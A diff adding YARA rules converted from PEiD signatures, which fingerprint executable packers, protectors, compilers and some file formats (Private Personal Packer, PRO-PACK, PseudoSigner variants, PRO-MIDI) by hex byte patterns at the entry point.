+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01771_Private_Personal_Packer__PPP__1_0_2____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.2 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01772_Private_Personal_Packer__PPP__1_0_3____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01773_Private_Personal_Packer__PPP__v1_0_2_____ConquestOfTroy_com_
+{
+    meta:
+        description = "[Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com]"
+        ep_only = "true"
+    strings:
+        $a = {E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01774_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01775_PrivateEXE_v2_0a_
+{
+    meta:
+        description = "[PrivateEXE v2.0a]"
+        ep_only = "true"
+    strings:
+        $a = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01776_PRO_MIDI_Music_file_
+{
+    meta:
+        description = "[PRO-MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 52 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_01777_PRO_PACK_v2_08__emphasis_on_packed_size__locked_
+{
+    meta:
+        description = "[PRO-PACK v2.08, emphasis on packed size, locked]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01778_PRO_PACK_v2_08_
+{
+    meta:
+        description = "[PRO-PACK v2.08]"
+        ep_only = "true"
+    strings:
+        $a = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01779_ProActivate_V1_0X____TurboPower_Software_Company___Sign_by_fly_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01780_ProActivate_V1_0X____TurboPower_Software_Company_
+{
+    meta:
+        description = "[ProActivate V1.0X -> TurboPower Software Company]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01781_Program_Protector_XP_v1_0_
+{
+    meta:
+        description = "[Program Protector XP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01782_Protect_Shareware_1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware 1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01783_Protect_Shareware_V1_1____eCompserv_CMS_
+{
+    meta:
+        description = "[Protect Shareware V1.1 -> eCompserv CMS]"
+        ep_only = "false"
+    strings:
+        $a = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4A 00 76 00 77 00}
+    condition:
+        $a
+}
+
+rule PEiD_01784_PROTECT__EXE_COM_v5_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 0E 1F 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01785_PROTECT__EXE_COM_v6_0_
+{
+    meta:
+        description = "[PROTECT! EXE/COM v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {1E B4 30 CD 21 3C 02 73 ?? CD 20 BE ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01786_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01787_Protection_Plus_vx_x_
+{
+    meta:
+        description = "[Protection Plus vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 28 ?? ?? ?? 50 6A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01788_Protector_v1_1_11__DDeM____PE_Engine_v0_9__DDeM____CI_v0_9_2__
+{
+    meta:
+        description = "[Protector v1.1.11 (DDeM -> PE Engine v0.9, DDeM -> CI v0.9.2)]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01789_PS_AdobeFont_v_1_0_
+{
+    meta:
+        description = "[PS-AdobeFont v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {80 01 ?? ?? 00 00 25 21 50 53 2D 41 64 6F 62 65 46 6F 6E 74 2D 31 2E 30 3A}
+    condition:
+        $a
+}
+rule PEiD_01790_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01791_pscrambler_1_2____by_p0ke_
+{
+    meta:
+        description = "[pscrambler 1.2 -> by p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 04 00 00 00 6A 00 6A 00 49 75 F9 51 53 ?? ?? ?? ?? 10 E8 2D F3 FF FF 33 C0 55 68 E8 31 00 10 64 FF 30 64 89 20 8D 45 E0 E8 53 F5 FF FF 8B 45 E0 8D 55 E4 E8 30 F6 FF FF 8B 45 E4 8D 55 E8 E8 A9 F4 FF FF 8B 45 E8 8D 55 EC E8 EE F7 FF FF 8B 55 EC B8 C4 54 00 10 E8 D9 EC FF FF 83 3D C4 54 00 10 00 0F 84 05 01 00 00 80 3D A0 40 00 10 00 74 41 A1 C4 54 00 10 E8 D9 ED FF FF E8 48 E0 FF FF 8B D8 A1 C4 54 00 10 E8 C8 ED FF FF 50 B8 C4 54 00 10 E8 65 EF FF FF 8B D3 59 E8 69 E1 FF FF 8B C3 E8 12 FA FF FF 8B C3 E8 33 E0 FF FF E9 AD 00 00 00 B8 05 01 00 00 E8 0C E0 FF FF 8B D8 53 68 05 01 00 00 E8 57 F3 FF FF 8D 45 DC 8B D3 E8 39 ED FF FF 8B 55 DC B8 14 56 00 10 B9 00 32 00 10 E8 BB ED FF FF 8B 15 14 56 00 10 B8 C8 54 00 10 E8 53 E5 FF FF BA 01 00 00 00 B8 C8 54 00 10 E8 8C E8 FF FF E8 DF E0 FF FF 85 C0 75 52 6A 00 A1 C4 54 00 10 E8 3B ED FF FF 50 B8 C4 54 00 10 E8 D8 EE FF FF 8B D0 B8 C8 54 00 10 59 E8 3B E6 FF FF E8 76 E0 FF FF B8 C8 54 00 10 E8 4C E6 FF FF E8 67 E0 FF FF 6A 00 6A 00 6A 00 A1 14 56 00 10 E8 53 EE FF FF 50 6A 00 6A 00 E8 41 F3 FF FF 80 3D 9C 40 00 10 00 74 05 E8 EF FB FF FF 33 C0 5A 59 59 64 89 10 68 EF 31 00 10 8D 45 DC BA 05 00 00 00 E8 7D EB FF FF C3 E9 23 E9 FF FF EB EB 5B E8 63 EA FF FF 00 00 00 FF FF FF FF 08 00 00 00 74 65 6D 70 2E 65 78 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01792_PseudoSigner_0_1____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01793_PseudoSigner_0_1__32Lite_0_03_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [32Lite 0.03] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01794_PseudoSigner_0_1__ACProtect_1_09______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01795_PseudoSigner_0_1__ACProtect_1_09__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ACProtect 1.09]]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01796_PseudoSigner_0_1__Armadillo_3_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Armadillo 3.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01797_PseudoSigner_0_1__ASPack_2_xx_Heuristic__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASPack 2.xx Heuristic]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01798_PseudoSigner_0_1__ASProtect_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ASProtect] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01799_PseudoSigner_0_1__Borland_Delphi_3_0______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01800_PseudoSigner_0_1__Borland_Delphi_3_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 3.0]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01801_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK______Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01802_PseudoSigner_0_1__Borland_Delphi_5_0_KOL_MCK__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK]]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01803_PseudoSigner_0_1__Borland_Delphi_6_0___7_0__
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01804_PseudoSigner_0_1__CD_Cops_II_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CD-Cops II] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01805_PseudoSigner_0_1__Code_Lock_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Code-Lock] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01806_PseudoSigner_0_1__CodeSafe_2_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [CodeSafe 2.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01807_PseudoSigner_0_1__Crunch_PE_Heuristic_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Crunch/PE Heuristic] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01808_PseudoSigner_0_1__DEF_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DEF 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01809_PseudoSigner_0_1__DxPack_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [DxPack 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01810_PseudoSigner_0_1__ExeSmasher_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [ExeSmasher] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01811_PseudoSigner_0_1__FSG_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01812_PseudoSigner_0_1__FSG_1_31_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [FSG 1.31] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01813_PseudoSigner_0_1__Gleam_1_00_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Gleam 1.00] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01814_PseudoSigner_0_1__JDPack_1_x___JDProtect_0_9_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01815_PseudoSigner_0_1__LCC_Win32_1_x_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 1.x] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01816_PseudoSigner_0_1__LCC_Win32_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LCC Win32 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01817_PseudoSigner_0_1__Lockless_Intro_Pack_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Lockless Intro Pack] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01818_PseudoSigner_0_1__LTC_1_3_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [LTC 1.3] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01819_PseudoSigner_0_1__Macromedia_Flash_Projector_6_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [Macromedia Flash Projector 6.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01820_PseudoSigner_0_1__MEW_11_SE_1_0_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.1 [MEW 11 SE 1.0] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+    condition:
+        $a at pe.entry_point
+}
